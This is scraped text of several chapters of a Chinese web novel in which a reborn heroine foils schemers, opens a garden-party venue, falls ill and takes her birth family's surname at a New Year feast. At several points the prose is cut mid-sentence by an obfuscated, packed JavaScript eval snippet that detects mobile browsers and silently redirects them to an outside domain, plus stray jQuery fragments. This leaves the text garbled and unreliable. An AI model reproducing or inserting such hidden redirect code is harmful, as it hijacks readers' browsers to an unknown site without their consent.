“别管那些炭了,保命要紧。”江心葵拉着她就走。 就在这时。 孟希延的侍卫匆匆来报:“公子,前天晚上在庄子上纵火的犯人,已经全部抓住,现在正送往京兆府,报官处理。” “你……你刚才说什么?”江心葵像是受了天大的打击,摇摇欲坠。 紧接着,就听一阵阵铜锣声由远及近:“纵火要犯,行人避让。” 没一会儿。 就见一行差役,押着一串十几名犯人,从院门口路过。 “娘,是……是忠福。”闻如月指着为首的犯人,慌张得不行。 江心葵气得在她胳膊上揪了一把:“你闭嘴。” 疼得闻如月‘咝……’地吸了一口气。 那名叫忠福的要犯,亦向闻如月和江心葵投来求救的眼神。 母女俩人却是不约而同地移开了目光。 很快,队伍就被押走。 闻颜猛地按住母女俩的肩膀,在她们耳边低发出桀桀怪笑:“既然我们各执一词,不如我们也报官吧,让京兆尹来查好了。” “京兆尹是出了名的会断案,相信这么小的案子,不消半日就能查个水落石出。”应知林在门外搭腔。 “你是什么东西,这里什么时候轮得到你说话。” 应知林作委屈样:“夫人,她凶我。” 闻颜眉毛抽了抽,应知林捣什么乱! 但她还是顺着应知林的话道:“没关系,等我们报官,她们就会被抓去坐牢。” “谁……谁说要报官了?我们……我们弄错了还不行吗?” 母女俩钻上马车,落荒而逃。 看见她们狼狈的模样,闻颜乐得笑出了声。 离开的马车上。 闻如月心有不甘:“娘,难道我们要吃下这个哑巴亏?” 江心葵沉着脸没有说话。 闻如月气得直跺脚,“我们为了弄那些炭,费了多大的劲啊! 又是租牛车,又是找苦力,前前后后花了那么多钱和时间。 难道就这样便宜闻颜那个小**。” “不便宜她你还能怎么样?”江心葵不耐烦地打断她。 “可是……他们现在还占着我的宅子! 娘,我不甘心。” “不甘心也给我忍着,否则闻颜真去报官,就凭她手上那张假的提货票,就够我们喝一壶的了。”江心葵头一次觉得闻如月蠢笨如猪。 闻如月绞着手里的帕子,愤愤不平:“我就知道,沾上闻颜,就没好事。” 自重生以来,除了嫁给霍耀行,就没一样让她如愿的。 妙笔斋不赚钱。 倒卖粮食亏钱。 现在连囤炭都出了意外。 闻颜还真是个灾星! 闻颜这边见江心葵母女落荒而逃,便道:“短时间内,他们应该不敢再来找麻烦,我们就先走了。” 孟希延点点头,就让她先行离开。 回去的马车上。 应知林疑惑地问道:“明明可以将那对母女一网打尽,你为何手下留情?是想体验一下猫捉老鼠的乐趣?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻颜刚下马车,另一辆马车也紧跟着停下,仆妇们搀扶着一位年纪不算小的妇人下了马车。 闻颜有些意外,没想到清风小楼的第一位客人,竟然是她。 第322章:大受欢迎 闻颜看见妇人,微微怔住。 厉夫人。 真的是她吗? 前世,她只远远看过厉夫人一回,她的模样已经模糊。 “想必,你就是清风小楼的东家,闻颜小姐了吧。”女子停在闻颜面前,微笑看着她。 闻颜猛地回神,眼前这张脸跟记忆中的确很相似。 她看上去三十左右的年纪,五官长得不算漂亮,不过她面若银盘,脸颊有肉。 一双眼眸亮如星辰,温柔含笑,让人不由自主地跟着平静温和,摒去心中一切戾气。 “您就是我此次的顾客厉夫人了吧。”闻颜回以一礼。 两人寒暄着确定彼此的身份之后,又有一辆马车停在门外。 这次下来的,是孟家二婶婶。 “二婶婶。”闻颜迎了上去。 二婶婶笑着道:“我还是来晚了,你们两个已经接上头了。” 厉夫人笑着嗔二婶婶一眼:“这么冷的天,叫爱赖床的你早起,可真是为难你了。” 孟二婶婶轻捶她一下,羞恼道:“说什么呢你,有晚辈在场,我不要面子的吗?” 厉夫人哈哈笑着,摇头晃脑地道:“你什么时候开始好面子了?以前是谁说的,要做一只无拘无束的小鸟,不在意他人的眼光?” “你还说,看我不撕了你的嘴。” “嘿嘿,你撕不着,撕不着!”厉夫人朝二婶婶做了一个鬼脸,就笑着跑进宅子里。 两位年纪都不算小的高门贵妇,就这样打打闹闹地回了房间。 像极了两个涉世未深,保留天真的俏皮小姑娘。 闻颜一人怔在原地,目瞪口呆。 说好的,高门当家主母呢? 说好的端庄优雅,一举一动都有规尺呢。 闻颜无奈失笑,跟着他们进了宅子。 闻颜做最后一番检查,要保证万无一失。 陆续客人来了。 小楼里逐渐热闹起来。 到处都是女子身影。 有沉稳端庄的贵妇,也有俏皮活泼的少女。 清风小楼里,以各式景色为主题的小院。 除了常规的,赏竹、赏雪、赏梅。 闻颜还特地布置了一间花房,里面摆满了各色干花。 一年四季才有的花朵,全都让她放在同一个房间。 虽然是干花,但在寒冬腊月满是飘雪的日子里,还是显得格外的稀有和漂亮。 况且,这些花房闻颜还特地设计过。 小院的每个房间都是不同的色系和品种的搭配。 色彩缤纷,花朵丰富,看得人眼花缭乱,目不暇接。 进来的人,很容易就迷失在花海里。 除此之外,闻颜还想了很多好玩的。 除了投壶一类的常规游戏,闻颜还新添了秋千,小型的蹴鞠之外。 她还将上冻的人工湖修整出一条条冰道来。 她又带着人往冰道上灌水,使冰道更加厚实牢固。 来玩的姑娘们,既可以穿上冰鞋在冰道上溜冰嬉,也可以用坐在冰犁上,会有大力的婆子们拉着游玩。 那些婆子,都是闻颜从外面请来的。 活虽然辛苦,且需要一定的技巧,但是收入可观。 若是客人打赏,不必上交,她们自己收着便好。 是以,这样的活还有不少人抢着做。 性格开朗活泼的,可以出去玩那活泼好动的节目。 喜静的,则可以待在温暖的室内,赏花弹琴品茗。 再加上有吃有喝有玩,还可以净面染蔻丹染花钿 来此玩的客人,没有一个玩得不开心的。 一天的时间一晃而过。 很快就到了结束的时间,那些千金小姐还没玩够,直说下次还来。 有些夫人,便派人身边的婆子,找闻颜打听费用。 闻颜就每人给了一份报价单。 每个院子的价格,会有什么样主题,主题之下又有几种不同的搭配风格,会提供什么样的茶点和服务。 翌日,不少姑娘就换上了漂亮的蔻丹、精致的花钿。 闻颜的第一笔生意,做得非常成功,好名声也不胫而走。 当天下午,就有下人来订清风小楼下订单。 有租园子自家人小聚的,也有想包场,像厉夫人一样宴请宾客的。 当然。 一时间,清风小楼的院子,都供不应求。 不过,最最受欢迎的,还是花房和有冰道的大花园。 当然,这些都是后话了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“刚才在凉亭里作画,时间长了一点,手就被吹凉了。”闻颜爬上马车,就把手抽了回去。 应知林从怀里摸出一个汤婆子塞到她手中:“快捂捂,别让手上长出冻疮来。” 闻颜爽朗一笑,抱着汤婆子就钻进了马车。 闻颜忙了一整天,早就累得精疲力尽。 马车里温暖又舒适,闻颜歪在车子上假寐,心里却在回想着白天收集到的信息。 她今天帮着接待客人时,已经从那些客人口中,将厉夫人的消息听得差不多了。 她果然没有看错,今天这位厉夫人,就是她记忆里的那位厉夫人。 她叫厉秋元,书香门第,祖父是上一任国子监祭酒。 十七岁嫁给她的夫君裴秋谳,后面跟着夫君外放,因为政绩突出,今年冬天调回京城。 过完春节,皇帝就会任命他为正六品大理寺少卿。 他断案能力出众,上任没多久,就屡破案件,没几年,他就被破格提拔为大理寺卿。 随后,他便卷入了那起京城大案当中。 以他的能力,很快就顺藤摸瓜,破案在即。 那些涉案人员,想让他收手,便**了他的夫人,也就是厉夫人。 厉夫人被折磨致死。 找到她的尸体时,已经拼不出完整的人形。 据说裴秋谳极爱这位夫人。 他承受不住这个打击,后面就如一条疯狗,但凡跟那个案件沾边的,他一个都没放过。 他逮谁咬谁,弄不死也要咬下对方一块肉。 没有证据,制造证据也要把对方搞死。 但凡涉案人员,他都让他们提了满门抄斩的结局。 那段时间的菜市口,地上铺的青石板染成了暗红色。 想想,还真够唏嘘的。 闻颜想着往事,不知不觉间,就睡了过去。 等她醒过来时,发现自己竟然躺在卧室的床上。 脑袋昏昏沉沉的,鼻子里像装了一座火山,每呼吸一下喷出来的气息都是滚烫的。 “佩,咳咳……”闻颜一出声,嗓子就又痛又哑,像吞了刀子一样难受。 “你醒了?”一张放大的俊脸突然出现在眼前。 “应知林!你怎么在我房间里?”闻颜吓了一跳,要不是浑身酸痛的话,她就跳起来了。 她四周观察,疑惑道:“我们不是在回家的马车上吗?怎么突然到我房间里了?” “你当真一点都不记得了?”应知林拿了个靠枕,让她躺得舒服一点。 “我该记得什么吗?” “你病了,在马车里就烧起来了。 而且,你已经昏睡两天了。佩儿每天去请三次林大夫,就怕你一病不起。” 想到他撩开马车帘子,看见她烧得脸颊通红的样子,他就心有余悸。 “啊……两天!”闻颜坐不住了,“那这几天店里还好吗?” 闻颜挣扎着想起床出去看看,却被应知林按了回去。 “你就放心吧,一切都好。”应知林端来一碗稀粥,塞她手里,“你先吃点粥垫垫胃,再把药喝了,按时按量吃药身体才能好得快。” “哦。”闻颜伸手去接碗。 但她饿透了,根本没力气。 伸出去的双手,不住地打哆嗦。 “还是我来吧。”应知林把她的手按下去,塞回被子里。 又拿了一张帕子,垫着她的下巴。 这才舀了一勺粥递到她嘴边。 是鱼糜粥,撒了一撮葱花,看着清淡,闻着特别的香。 应知林喂得特别仔细,就好像在照顾一个小婴儿。 闻颜还怪不好意思的。 一碗粥吃完,应知林端起药碗要喂她。 “这个我自己来吧。”闻颜接过碗,脖子一仰,一碗药就进了肚子。 “哇,好苦!”闻颜把脸都皱成了苦瓜。 “张嘴。”应知林说。 “什,唔……”应知林趁机往她嘴里塞了一颗蜜饯。 甜滋滋的味道瞬间俘获了她。 闻颜脸颊上鼓起一个小包,笑着道:“你准备得挺齐全的。” 应知林眨了眨眼,“家里有弟弟妹妹,时间久了自然就会了。” 闻颜挑了挑眉,没再说话,只是闭着眼睛,慢慢吮吸着嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480592|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的甜味。 看着她满足却苍白的脸,应知林长长吐出一口气,起身道:“你先休息吧,我把碗收出去。” “辛苦你了。”闻颜闭目应了一声。 应知林替她掖好被角,这才端着碗筷出去。 听见关门声,闻颜才睁开眼睛朝门口看了一眼,眼神很是淡漠。 应知林脚步轻快,心情地把碗筷送回灶房,顺水洗干净之后,他便回卧房继续守着闻颜。 他坐在床边,单手支颐,看着熟睡的闻颜。 不管是眉毛、鼻子、眼睛、嘴巴,都是他喜欢的样子。 他情不自禁地伸出手,隔着半寸距离,描绘着她的样子。 “到底要怎么做,我才能成为你的人!”应知林握着她的手,在她手背上落一个轻柔的吻。 此时,北境。 北风呼啸,鹅毛大雪密不透风地落下来。 一骑人马冒着风雪前行,最后在一片树林里停下。 一人轻夹马腹,来到领头之人身边:“校尉,就是前面了,这一带有好几个村庄。 根据有狼一族现在扎营的地方和往年习性,他们最先劫掠的地方应该就是这一带。” 校尉揭下捂住脸的布巾,露出孟迟飞那张美若天仙,自带英气的脸。 “跟村里人商量好了吗?”孟迟飞问。 “村长已经同意了。他以即将天降暴雪为借口,劝动村里的老百姓,让他们去别处避一避风头。” “行,你先下去,叫村民现在就转移,我们随后下去布置。” “好。我这就带人过去。”那人抱拳应了一声,就带着两名手下,朝村子奔驰而去,眨眼就消失在密集的风雪里。 孟迟飞回头看了一眼带来的箱子。 虽然她在箱子里放了保温的汤婆子,但是北境气候严寒,那些秘密武器,应该能坚持到它发挥作用的那一天吧! 不,不是应该! 是她一定会达成目的。 孟迟飞朝身后的人一招手:“大家跟我继续往前走,去下一个村庄。 我们千辛万苦寻来的好东西,一定要发挥它们最大的价值。” 第324章:哎呦,要赶不上开席了 闻颜又昏睡了一天一夜,身体才慢慢好转。 按应知林的意思,她应该再卧床休息两天,才可以下床活动。 闻颜却不同意:“浑身的骨头都快散架了,我这是在床上躺了多少天啊! 应知林,今日初几了?” “腊月二十七。” “什么!”闻颜陡地拔高了嗓门,震惊地看着他。 “你怎么不提醒我,竟然已经二十七了。 出发前我娘特地来找我,说是借着年底的团年饭,要把我介绍给柳家的亲朋好友,还要把我写进柳家的族谱。 这么重要的事,我不能失约的。” 闻颜急得抓了抓脑袋,“我忘记让你提醒我了。” 闻颜在屋里转了两圈:“你快收拾收拾,我们现在赶回去,还能吃上中午饭。” 应知林见她风风火火的样子,并不想扫她的兴。 况且,坐马车回去,捂严实一点也不会受风。 “回去可以,但是你要听我指挥。” “好,听你的,都听你的。” 一刻钟后,苏合在应知林的命令下,把闻颜裹成了一只熊。 头上戴着皮裘帽子。 颈子上围着皮裘围脖。 身上穿着皮裘大氅,双手拿着一只皮裘的手围。 手围里还藏着一只手炉。 闻颜费劲地转动脖子,看向应知林:“你确定,我非得穿成这样?” “扑哧……咳咳……那个,没错,确实要这样穿,不然我不放心,不然就只能等你病好了再回去。” “行,你长得好看,听你的。”闻颜深吸一口气,压下火气,转身就往外走。 她走起路来,一摆一摆的,就像一只胖鸭子。 闻颜暗着自己没翻白眼,朝苏合伸出手,“扶我,上车。” 苏合肩膀一抽一抽地,扶着闻颜上马车。 马车帘子刚掀起来,一股热气就扑面而来。 再看马车里。 双边座变成了单边,上面铺着厚厚的褥子还有靠枕。 旁边还放着一个取暖的炭炉,里面炭火烧得很旺,把小小的马车烤得暖烘烘的。 这哪里像一辆马车,分明就是一个活动的卧房。 闻颜咬牙切齿:“应!知!林!” 苏合见状,连忙哄道:“小姐,姑爷这是体贴,有什么好生气的。 别人想找这么体贴的夫君,还没这个福分呢。” 闻颜翻了个大白眼:“这样的福分给你要不要?” 苏合立马露出正经表情,指天发誓:“菩萨,信女一生荤素搭配,只求荣华富贵,不求一丝真情。” 两人笑闹够了,闻颜说起正事:“我让你提前囤的粮食,你囤上了吗?” 苏合点头:“都囤上了,有七八百斤。” “今年过年不能歇业,要辛苦你们了。记得,炉子要烧得暖暖的,热水也要及时供给。如果真有需要,每人每天两个杂粮窝窝,记得吗?” “放心吧小姐,我全都记下了。 ‘一点墨’有我盯着,‘清风小楼’有霜姨盯着,不会有问题的。” 闻颜摸摸她的头:“等明年,我一定带着你一起过年。” “那小姐明年不可以再爽约了。”苏合故作委屈地撅了撅嘴。 闻颜和应知林很快就出发了。 闻颜在车里没待多久,就热得冒汗,她把大氅脱了,穿着轻薄的衣衫,躺在那张‘小床’上,马车一晃一晃的,别提有多舒服了。 刚出了城门,闻颜打起帘子,探出个圆圆的小脑袋:“对了,你准备的那些年货都送回家了吗?” “佩儿前天已经送回老家了,这会儿应该发的都发下去了,该送的礼也都送了,你就放心吧。”应知林在前面赶马车,回答道。 “还好有你们。”闻颜一副松了一口气的表情。 应知林心里一暖,耳朵有些发烫。 他把她的脑袋往车里推:“外面风大,别让病情加重了。” 闻颜脑袋一歪,就躲开了他的手:“等会儿路过县城的时候,我们去县衙一趟,把我的名字改了。” “你真的要改名?” “当然要。爹娘都要把我写进族谱了,我不能再顶着别人的姓。” “回去的路还远,你在车里多休息一会儿。” “应知林。”闻颜突然叫他。 “什么?”应知林回过头来。 “喏,吃点肉干垫垫肚子。”闻颜趁他张嘴,塞了一块肉干进他口中,然后便倏地一下缩进车里。 应知林怔了一下,叼着肉干,眉眼都染上笑意。 闻颜在马车里吃吃喝喝,也没把应知林落下。 吃饱喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484634|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足,不知什么时候她就困得睡着了。 “颜颜,快醒醒,娘家的团年饭要迟到了。” “什么!”闻颜猛地惊醒,一下坐了起来,扬起的手‘呱唧’一下拍到什么东西。 她一回头,就见应知林用手捂着脸颊,眼神幽怨地看着自己。 “抱……歉,我不是故意的。”闻颜尴尬地笑笑。 从包袱里掏出一罐药膏,递给他:“涂一涂应该就好。” “我又看不见自己的脸,你打了我连药都不给我涂吗?”应知林撇撇嘴,看起来更加委屈了。 闻颜:“……” 她感觉自己就像一个负心女。 拉着药罐要给他擦,应知林拿开手,发现他脸颊甚至都没有红。 应知林得意地摇头晃脑:“被我骗了吧,哈哈哈哈……” “应!知!林!” ** 闻颜重新全副武装下了马车。 寒风一吹,她忍不住打了个激灵:“这天可真冷啊!” 她一摇一摆地朝县衙门口走去。 应知林来扶她,闻颜哼了一声:“我自己能行!” 闻颜本来打算用银钱开道,谁知应知林直接亮出他的举人身份。 甚至不用通报,他们就被请进了县衙里。 没一会儿,县丞就来亲自接待。 应知林是他们县的第一个解元,如果来年能考上进士,他的政绩上也会添上一笔。 一番寒暄之后,二人便说明来意。 “迁户改姓只是小事,很好办的。”县丞不让他人假手,而是亲自为他们写了新的文书证明。 “不知尊夫人是直接改姓?还是要连名字一起改掉?” 这一点,闻颜早就想好了。 她提笔在纸上写下三个字。 应知林跟着念出来:“柳闻颜?” 闻颜点点头:“闻颜这个名字我用了十几年,大家都叫顺口了,没有另改的必要。” “你的名字你做主。”应知林并不干涉她的决定。 他喜欢看她为自己做主时自信的样子。 很快,闻颜的户籍就改好了。 从此,她就不叫闻颜,而是叫柳闻颜了。 道过谢,二人又迅速往柳家村赶。 马上就到饭点了,再耽误下去,就赶不上柳家开席了。 第325章:不算撒谎 柳家村,张敢娘家中。 张敢娘将今年的团年饭弄得很隆重丰盛。 既是为了全家团年,也是为了向大家介绍找回来的亲生女儿,并且将她写进族谱。 所以,除了亲朋好友,她还请了村里有声望,以及交好的人家。 是以,这一切她都安排得极其用心。 席面准备了十几桌,而且从昨天开始,柳家的院子里的香味就不断飘出。 炸丸子,炖鸡,卤猪肉,烧鱼,他们甚至还花大价钱买了一头羊回来熬汤底。 勾得不少孩子,望着柳家垂涎欲滴。 到了正席之日,客人早早就上了门。 张敢娘自然是瓜子、糖果、点心热情地招待他们。 妇人们凑在一起,叽叽喳喳地说笑,大嗓门都快把房顶掀翻了。 没一会儿,便有人打听起应知林的情况。 “听说你那个小女婿是举人老爷,他每个月能领多少俸禄,一定能攒下不少银子吧。” 张敢娘跟他们抬头不见低头见,有什么看不懂的。 这些老娘们儿是想借钱呢! 她可不上当,直接打岔糊弄过去了。 然而,眼看已经过了开席时间,今日的主角还没出现。 便有人开始挑事:“敢娘,这都过了开席时间了,你的宝贝小闺女怎么还没到啊?” “我听说她在大官老爷家里长大,又嫁给了举人老爷,而你们家就是个穷卖豆腐的。 她不会是嫌弃你们太寒酸,不肯来吧!” “不如我们先开饭?你看我儿子都饿得肚皮咕噜叫了。” 不少人都等得不耐烦了。 “劳烦大家再等等,肯定是路上耽误了。”张敢娘不敢错过这个好机会,也不想女儿留下糟糕的印象。 见她着急,老三媳妇拉住张敢娘的手:“娘,你别听他们乱说,肯定是积雪路滑,我现在就去村口迎一迎。” “好,你去迎一迎,我才能安心。 对了,你多带一把伞,两根拄路的棍子,万一他们用得上呢。” “放心吧娘,我就算自己摔跤回来,也不会委屈了您的宝贝女儿和女婿。”老三媳妇俏皮地做了个鬼脸,就笑嘻嘻地跑开了。 一墙之隔的屋里,站着一对男女。 男人嗤笑一声:“柳如星,你看清楚了吗? 在她们眼里,你就是最没存在,最不在意的那一个。 他们以前偏心那个冒牌货柳如月,给她好穿的,好玩的,还送她去读书识字。 现在找回亲生的,明明相处没几天,却可以为了她,得罪全部客人等着。 再看看你,当初你嫁给我,别说是嫁妆,连个像样的喜宴都没有。 柳如星,你承认吧。 这世界上除了我,根本就没人要你。” 柳如星只是低头哄着怀里的孩子,对丈夫方货郎的话耳充不闻。 “我让你说话,你耳朵聋了?”方货郎生气地捏着她的下巴,逼迫她看着自己。 柳如星便抬眸,用一双漆黑的,死气沉沉的眼神看着他,仿佛一尊泥塑般看着他。 “死婆娘,你这样看着**什么!”方货郎一把捂住她的双眼,将她的脸推得狠狠歪在一边。 柳如星就像个提线木偶一般,没有半点反应。 倒是她怀里,看上去一岁多的女娃,瘪着嘴就要哭出来。 柳如星一把捂住女娃的嘴巴,哄道:“方荷不哭,娘亲在。” 女娃方荷用力地憋着嘴,哼唧了两声就把哭声憋了回去。 “真晦气。”方货郎四处看了看,咒骂一声,甩袖而去。 闻颜二人离开县衙后,就驾着马车往柳家村赶。 一路上,他们看见好几波人,在沿街敲锣打鼓地叫喊:“大雪严寒,多多囤柴囤炭,检查房顶梁柱……” 看来,孟迟飞的提醒是有用的,朝廷在大力宣传提醒寒冬之事。 他们在柳家村村口碰上了柳老三的媳妇。 “三嫂嫂!”闻颜惊喜喊道。 老三媳妇看见他们也松了口气:“你们都没事吧,娘还担心你们不来了。” 应知林就解释了一下,闻颜病了又是从京城赶回来的。 老三媳妇心里就有数了。 到了家门口,老三媳妇跳下马车,就朝院子里大声喊道:“娘,爹,小妹带着妹夫从京城回来了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488722|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她特地将‘京城’二字加重,算是在间接告诉别人,闻颜他们不是故意迟到,而是距离太远。 原本等得不耐烦的客人,全都涌到门口窗前,就想瞧一瞧闻颜的真容。 只见一辆低调的轻便马车停在院门外。 一名身材颀长,脸庞俊美的男子先下车,随后又转身扶着一个**球下了马车。 闻颜他们一进院门,柳家人全都迎了出来。 “原来,这她就是张敢娘抱错的小女儿啊。长得脸倒是不错。 不是说她在官宦人家长大吗?怎会如此瘦小?” “脸色苍白的不像话,不会是得了什么不治之症吧!” “旁边那个就是张敢娘的小女婿?长得真俊,个子也好高。 而且还是个举人。 简直就是才貌双全。” “啧啧啧,老柳家真是走了狗屎运。” 客人的语气都酸溜溜的。 随后,他们就看见应家的几个儿子,从马车里大包小包的往外搬东西。 软软的布包裹中,应该是衣裳布料。 有方方正正的纸包,应该是点心吃食。 应知林还抱出一坛子酒:“爹,这是我特地从京城带回来的女儿红。” “好孩子,你们有心了。” 如果酸气能凝成水,他们凑在一起都能开一家醋店了。 张敢娘拉着柳闻颜的手,眼神里全是心疼:“孩子,你们路上没出意外吧。” “没事的,我们一路都很顺利。”闻颜安抚她。 应知林解释道:“爹娘、兄长嫂嫂们,是颜颜生病了,昏昏沉沉睡了好几天了,因为要回来参加今天的宴席,才强打起精神,从京城赶回来的。” 按照应知林的意思,以闻颜的病情,起码要卧床休息半个月才能出门。 所以,他的话不算撒谎! “不过我们毕竟回来晚了,让诸位长辈朋友等到现在,一会儿我亲自去给大家赔罪。”应知林说着,朝正屋方向的人拱了拱手。 张敢娘一听闻颜病了,急得不行。 闻颜连忙安抚她自己没事。 柳父道:“先去正厅,把入族谱的事办了。” 第326章:二姐姐 闻颜夫妻进了正厅。 在柳父的介绍下,先认了一圈人。 族长、族老,三服以内的亲戚,以及一些叔伯婶婶。 闻颜叫了一圈人,愣是没记住两张脸。 随后便是改写族谱。 把闻如月划掉,把闻颜记上。 当族长问起闻颜的闺名时,闻颜将今天新办的文书拿了出来。 族长看完,惊讶地道:“你去官府把姓氏改了?” 闻颜点点头:“要认祖归宗,当然要把姓改回来。” 闻颜提前改名这一点,让柳家族老很是满意。 原本因为她迟到的不满,也消了大半。 改好名字。 应知林就以闻颜身体不适,容易把病气过给大家为由,让闻颜回屋去歇着。 张敢娘拉着闻颜道:“娘带你去自己的房间。” 闻颜适时地咳了几声,说了一声抱歉,就跟着张敢娘一起离开了。 柳家为闻颜布置了一间专属卧房。 老早就将屋里的炕烧热了,比起外面暖和许多。 不过,她还是张罗着,要在屋里多加一个炉子。 她话还吩咐人去办,大房家的两个孩子已经抬着炭盆进来了:“阿婆,这是娘亲让我们准备的。 我娘说小姑病了身体弱,屋里要烧暖和一点才舒服。” 三房家的小闺女,也提着一个水壶走了进来:“我娘说,小姑多喝热水好得快。” “谢谢你们啊!”闻颜挨个揉揉小孩的脑袋,一人塞了一把糖果。 三个小孩开心地收下糖果,一人一句地拍闻颜的马屁。 张敢娘怕孩子吵到闻颜休息,出去的时候,把三个孩子也一并带走了,“你好好休息,一会儿给你拿饭菜过来。” 屋外。 柳如星夫妻站在正厅的屋檐下,看着柳家人为了闻颜忙前忙后。 她的丈夫站在她身边冷笑:“看吧,疼不疼爱区别真的很大。 你今儿早上来的时候,他们有这么热情吗? 不仅亲自扶着进屋,又是端火盆,又是亲自倒茶。 他们连一口热水都没倒给你喝吧!” 柳如星咬了咬唇,无神空洞的眼睛里浮起水光。 很快,她的嘴角就牵起一抹冷笑,语气仍然毫无波澜:“也许他们是真的不待见我。 他们对闻颜热情,未必不是因为她的夫君是举人。 你想享受同等的众星捧月,倒是去考个举人啊!” “你……”方货郎抬起手就想**。 柳如星一动不动,死气沉沉的眼睛直愣愣地看着他,对他的殴打不惧不怕。 方货郎还是没敢在岳家动手打妻子,他怕自己今天走不出这个院门。 闻颜抱着汤婆子,坐在窗前,听着正厅那边传来的声音。 开席没一会儿,她就听见应知林说要为迟到的事自罚三杯。 没一会儿,正厅那边就传来了欢快的笑声。 她还隐约听到有人跟应知林称兄道弟。 闻颜听着那些声音,会心一笑:“没想到,他还有这哄人的本事。” 闻颜调整了一下姿势,打算先眯一会儿。 这时,房门口突然传来吱呀响声。 闻颜警觉回头。 门口无人,门却打开了寸许宽,冷风从门缝里灌进来。 闻颜去关门,却看见一个女娃娃站在门口。 女娃娃穿着一件旧旧的棉衣,看着一岁多点,黑黑瘦瘦,脑袋却大大的。 她仰着脑袋,用一双乌黑的眼睛看着闻颜。 “小娃娃,你怎么到这儿来了?你的家人在哪里,我带你去找他们好不好?” 小女娃却歪了歪脑袋,奶声奶气地问道:“你就是我姨姨吗?” 姨姨? “小娃娃,你叫什么名字?你娘是谁啊?” 小娃娃道:“我叫方荷,我娘是柳如星。” 柳如星? 不就是出嫁的二姐吗? 原来小女娃是二姐的孩子。 “对,我就是你的亲姨姨。”闻颜捏捏她的小脸,将她抱起。 孩子抱在怀里轻飘飘的,都没什么重量。 闻颜把她放到炕上,拿了点心给她吃:“都开席了,你怎么不去吃饭啊?” 小方荷看着糕点咽了咽口水,却没有伸手接。 闻颜拉过她的手,想把糕点塞她手里。 小方荷却痛得呼了一声。 闻颜这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490045|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才发现她的双手又红又肿,小小的手上长满了冻疮。 有的冻疮已经开裂化脓,结出白色或红色的痂,看上去别提有多可怕了。 “你的手怎么回事?怎么还长了这么多冻疮?” “姨姨放心,一点都不痛的。”小方荷露出纯真无暇的笑容,闻颜的心像是被什么东西揪了一下。 这么重的冻疮怎么可能不痛。 发作起来的时候,又痒又痛,别说是孩子,就算是大人,也会难受得不得了。 “你坐着,姨给你拿药膏涂涂。”闻颜从包袱里拿出一盒手脂,厚厚的涂在她的手,“过几天姨姨给你拿些专治冻疮的药,涂半个月就能好。” 小方荷顿时笑眯了眼:“谢谢姨姨,姨姨真好。” “告诉姨姨,你多大了呀。” “姨姨,我已经三岁了。” 三岁! 她看起来顶多一岁多的样子。 应该是极度的营养不良,再结合她手上的冻疮,可见她在家里的日子不好过。 不知是爹娘重男轻女,还是真的家贫。 闻颜摸了摸她的头,拿点心喂给她吃:“你多吃一点,长得高高胖胖的。” 闻颜见她穿得单薄,又从包袱里,掏出一件皮裘比甲给她套上。 她正逗孩子玩着,柳如星就找来了。 柳闻颜打开门,就见一个三十多岁的妇人,干瘦黝黑,神情憔悴,眼睛里没有一点神采。 她的长相,与张敢娘有五六分相似,一看就是亲母女。 